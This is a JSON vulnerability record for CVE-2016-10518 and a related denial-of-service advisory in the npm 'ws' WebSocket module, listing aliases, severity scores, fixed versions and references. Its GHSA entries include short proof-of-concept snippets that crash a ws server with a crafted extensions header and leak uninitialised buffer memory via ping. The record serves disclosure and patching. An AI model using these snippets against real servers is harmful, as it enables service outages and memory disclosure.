{"id":"CVE-2016-10518","aliases":["CLSA-2026-1772583196","CLSA-2026-1776991058","CLSA-2026-1784596272","DEBIAN-CVE-2016-10518","EUVD-2019-0201","GHSA-2mhh-w6q8-5hxw","GHSA-5v72-xg48-5rpm","UBUNTU-CVE-2016-10518"],"status":"published","title":"Remote Memory Disclosure in ws","description":"A vulnerability was found in the ping functionality of the ws module before 1.0.0 which allowed clients to allocate memory by sending a ping frame. The ping functionality by default responds with a pong frame and the previously given payload of the ping frame. This is exactly what you expect, but internally ws always transforms all data that we need to send to a Buffer instance and that is where the vulnerability existed. ws didn't do any checks for the type of data it was sending. With buffers in node when you allocate it when a number instead of a string it will allocate the amount of bytes.","severity":{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-09","score":0.01947,"percentile":0.80339,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-119","CWE-201","CWE-400"],"published":"2018-05-31T20:00:00Z","modified":"2026-10-20T10:47:23Z","fixes":[{"ecosystem":"npm","package":"ws","fixed_in":["1.0.1","3.3.1","1.1.5"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"ws","fixed_in":["1.1.1-tuxcare.1","1.1.2-tuxcare.1","0.8.1-tuxcare.1"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"node-ws","fixed_in":["1.0.1+ds1.e6ddaae4-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"node-ws","fixed_in":["1.0.1+ds1.e6ddaae4-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-ws","fixed_in":["1.0.1+ds1.e6ddaae4-1"],"sources":["osv"]},{"ecosystem":"Ubuntu:16.04:LTS","package":"node-ws","fixed_in":["1.0.1+ds1.e6ddaae4-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"3.3.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.0"},{"fixed":"1.1.5"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.1.1-tuxcare.0"},{"fixed":"1.1.1-tuxcare.1"}]}],"versions":["1.1.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.1.2-tuxcare.0"},{"fixed":"1.1.2-tuxcare.1"}]}],"versions":["1.1.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.1-tuxcare.0"},{"fixed":"0.8.1-tuxcare.1"}]}],"versions":["0.8.1"]},{"source":"osv","ecosystem":"Debian:12","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1+ds1.e6ddaae4-1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1+ds1.e6ddaae4-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1+ds1.e6ddaae4-1"}]}]},{"source":"osv","ecosystem":"npm","package":"ws","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.1"}]}]},{"source":"osv","ecosystem":"npm","package":"ws","ranges":[{"type":"SEMVER","events":[{"introduced":"0.6.0"},{"fixed":"1.1.5"}]}]},{"source":"osv","ecosystem":"npm","package":"ws","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"3.3.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.1+ds1.e6ddaae4-1"}]}],"versions":["0.7.2+ds1.349b7460-1"]}],"products":[{"vendor":"hackerone","product":"ws node module"},{"vendor":"ws_project","product":"ws"}],"references":[{"url":"https://github.com/websockets/ws/releases/tag/1.0.1","tags":["x_refsource_MISC","x_transferred","Release Notes","Third Party Advisory","advisory","web","report"]},{"url":"https://nodesecurity.io/advisories/67","tags":["x_refsource_MISC","x_transferred","Third Party Advisory","advisory","report"]},{"url":"https://gist.github.com/c0nrad/e92005446c480707a74a","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2016-10518","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2mhh-w6q8-5hxw","tags":["advisory"]},{"url":"https://www.npmjs.com/advisories/67","tags":["web"]},{"url":"https://github.com/websockets/ws/commit/29293ed11b679e0366fa0f6bb9310b330dafd795","tags":["web"]},{"url":"https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a","tags":["web"]},{"url":"https://snyk.io/vuln/npm:ws:20171108","tags":["web"]},{"url":"https://github.com/websockets/ws/commit/f8fdcd40ac8be7318a6ee41f5ceb7e77c995b407","tags":["web"]},{"url":"https://github.com/websockets/ws/commit/a810bfa44f08c84ff3f43cc71327e9bb5fb273ef","tags":["web"]},{"url":"https://github.com/advisories/GHSA-5v72-xg48-5rpm"},{"url":"https://security-tracker.debian.org/tracker/CVE-2016-10518","tags":["advisory"]},{"url":"https://github.com/websockets/ws","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2016-10518","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2016-10518","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2016-10518","description":"A vulnerability was found in the ping functionality of the ws module before 1.0.0 which allowed clients to allocate memory by sending a ping frame. The ping functionality by default responds with a pong frame and the previously given payload of the ping frame. This is exactly what you expect, but internally ws always transforms all data that we need to send to a Buffer instance and that is where the vulnerability existed. ws didn't do any checks for the type of data it was sending. With buffers in node when you allocate it when a number instead of a string it will allocate the amount of bytes.","status":"published","published":"2018-05-31T20:00:00Z","modified":"2024-09-17T02:57:19.095Z","cwes":["CWE-201"],"updated_at":"2026-11-02T14:33:31.764001Z"}],"euvd":[{"id":"EUVD-2019-0201","description":"A vulnerability was found in the ping functionality of the ws module before 1.0.0 which allowed clients to allocate memory by sending a ping frame. The ping functionality by default responds with a pong frame and the previously given payload of the ping frame. This is exactly what you expect, but internally ws always transforms all data that we need to send to a Buffer instance and that is where the vulnerability existed. ws didn't do any checks for the type of data it was sending. With buffers in node when you allocate it when a number instead of a string it will allocate the amount of bytes.","status":"published","published":"2018-05-31T20:00:00Z","modified":"2024-09-17T02:57:19Z","updated_at":"2026-11-03T00:28:35.984836Z"}],"ghsa":[{"id":"GHSA-5v72-xg48-5rpm","title":"Denial of Service in ws","description":"Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require('ws');\nconst net = require('net');\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n  const payload = 'constructor';  // or ',;constructor'\n\n  const request = [\n    'GET / HTTP/1.1',\n    'Connection: Upgrade',\n    'Sec-WebSocket-Key: test',\n    'Sec-WebSocket-Version: 8',\n    `Sec-WebSocket-Extensions: ${payload}`,\n    'Upgrade: websocket',\n    '\\r\\n'\n  ].join('\\r\\n');\n\n  const socket = net.connect(3000, function () {\n    socket.resume();\n    socket.write(request);\n  });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.","status":"published","published":"2019-06-04T19:37:52Z","modified":"2026-07-17T18:28:07Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:40:46.257074Z"},{"id":"GHSA-2mhh-w6q8-5hxw","title":"Remote Memory Disclosure in ws","description":"Versions of `ws` prior to 1.0.1 are affected by a remote memory disclosure vulnerability.\n\nIn certain rare circumstances, applications which allow users to control the arguments of a `client.ping()` call will cause `ws` to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.\n\n\n\n## Proof of Concept\n```\nvar ws = require('ws')\n\nvar server = new ws.Server({ port: 9000 })\nvar client = new ws('ws://localhost:9000')\n\nclient.on('open', function () {\n  console.log('open')\n  client.ping(50) // this sends a non-zeroed buffer of 50 bytes\n\n  client.on('pong', function (data) {\n    console.log('got pong')\n    console.log(data) // Data from the client. \n  })\n})\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.1 or greater.","status":"published","published":"2019-02-18T23:56:42Z","modified":"2023-09-18T21:26:42Z","cwes":["CWE-201"],"updated_at":"2026-11-02T14:37:05.567008Z"}],"nvd":[{"id":"CVE-2016-10518","description":"A vulnerability was found in the ping functionality of the ws module before 1.0.0 which allowed clients to allocate memory by sending a ping frame. The ping functionality by default responds with a pong frame and the previously given payload of the ping frame. This is exactly what you expect, but internally ws always transforms all data that we need to send to a Buffer instance and that is where the vulnerability existed. ws didn't do any checks for the type of data it was sending. With buffers in node when you allocate it when a number instead of a string it will allocate the amount of bytes.","status":"published","published":"2018-05-31T20:29:00.503Z","modified":"2026-06-17T00:39:50.267Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:P/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-201","CWE-119"],"updated_at":"2026-11-02T14:03:39.176887Z"}],"osv":[{"id":"CVE-2016-10518","description":"A vulnerability was found in the ping functionality of the ws module before 1.0.0 which allowed clients to allocate memory by sending a ping frame. The ping functionality by default responds with a pong frame and the previously given payload of the ping frame. This is exactly what you expect, but internally ws always transforms all data that we need to send to a Buffer instance and that is where the vulnerability existed. ws didn't do any checks for the type of data it was sending. With buffers in node when you allocate it when a number instead of a string it will allocate the amount of bytes.","status":"published","published":"2018-05-31T20:29:00.503Z","modified":"2026-10-20T10:47:23.801638674Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:44:01.531338Z"},{"id":"DEBIAN-CVE-2016-10518","description":"A vulnerability was found in the ping functionality of the ws module before 1.0.0 which allowed clients to allocate memory by sending a ping frame. The ping functionality by default responds with a pong frame and the previously given payload of the ping frame. This is exactly what you expect, but internally ws always transforms all data that we need to send to a Buffer instance and that is where the vulnerability existed. ws didn't do any checks for the type of data it was sending. With buffers in node when you allocate it when a number instead of a string it will allocate the amount of bytes.","status":"published","published":"2018-05-31T20:29:00.503Z","modified":"2026-09-22T07:01:22.746680079Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:27.323751Z"},{"id":"GHSA-5v72-xg48-5rpm","title":"Denial of Service in ws","description":"Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require('ws');\nconst net = require('net');\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n  const payload = 'constructor';  // or ',;constructor'\n\n  const request = [\n    'GET / HTTP/1.1',\n    'Connection: Upgrade',\n    'Sec-WebSocket-Key: test',\n    'Sec-WebSocket-Version: 8',\n    `Sec-WebSocket-Extensions: ${payload}`,\n    'Upgrade: websocket',\n    '\\r\\n'\n  ].join('\\r\\n');\n\n  const socket = net.connect(3000, function () {\n    socket.resume();\n    socket.write(request);\n  });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.","status":"published","published":"2019-06-04T19:37:52Z","modified":"2026-07-17T18:45:52.881635162Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:38.911014Z"},{"id":"UBUNTU-CVE-2016-10518","description":"A vulnerability was found in the ping functionality of the ws module before 1.0.0 which allowed clients to allocate memory by sending a ping frame. The ping functionality by default responds with a pong frame and the previously given payload of the ping frame. This is exactly what you expect, but internally ws always transforms all data that we need to send to a Buffer instance and that is where the vulnerability existed. ws didn't do any checks for the type of data it was sending. With buffers in node when you allocate it when a number instead of a string it will allocate the amount of bytes.","status":"published","published":"2018-05-31T20:29:00Z","modified":"2025-09-08T16:43:59Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:54:11.492576Z"},{"id":"CLSA-2026-1772583196","title":"TuxCare security update for ws (1 CVE)","description":"TuxCare rebuilt ws to address 1 CVE. Fixed in 1.1.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:10Z","modified":"2026-10-15T09:46:59.406268613Z","updated_at":"2026-11-02T15:43:43.249928Z"},{"id":"CLSA-2026-1776991058","title":"TuxCare security update for ws (1 CVE)","description":"TuxCare rebuilt ws to address 1 CVE. Fixed in 1.1.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:28Z","modified":"2026-10-15T09:47:50.061632398Z","updated_at":"2026-11-02T15:43:44.384419Z"},{"id":"CLSA-2026-1784596272","title":"TuxCare security update for ws (2 CVEs)","description":"TuxCare rebuilt ws to address 2 CVEs. Fixed in 0.8.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:45Z","modified":"2026-10-15T09:45:57.411301875Z","updated_at":"2026-11-02T15:43:46.151924Z"},{"id":"GHSA-2mhh-w6q8-5hxw","title":"Remote Memory Disclosure in ws","description":"Versions of `ws` prior to 1.0.1 are affected by a remote memory disclosure vulnerability.\n\nIn certain rare circumstances, applications which allow users to control the arguments of a `client.ping()` call will cause `ws` to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.\n\n\n\n## Proof of Concept\n```\nvar ws = require('ws')\n\nvar server = new ws.Server({ port: 9000 })\nvar client = new ws('ws://localhost:9000')\n\nclient.on('open', function () {\n  console.log('open')\n  client.ping(50) // this sends a non-zeroed buffer of 50 bytes\n\n  client.on('pong', function (data) {\n    console.log('got pong')\n    console.log(data) // Data from the client. \n  })\n})\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.1 or greater.","status":"published","published":"2019-02-18T23:56:42Z","modified":"2023-11-08T03:58:10.11379Z","cwes":["CWE-201"],"updated_at":"2026-11-02T15:46:34.700741Z"}]}}
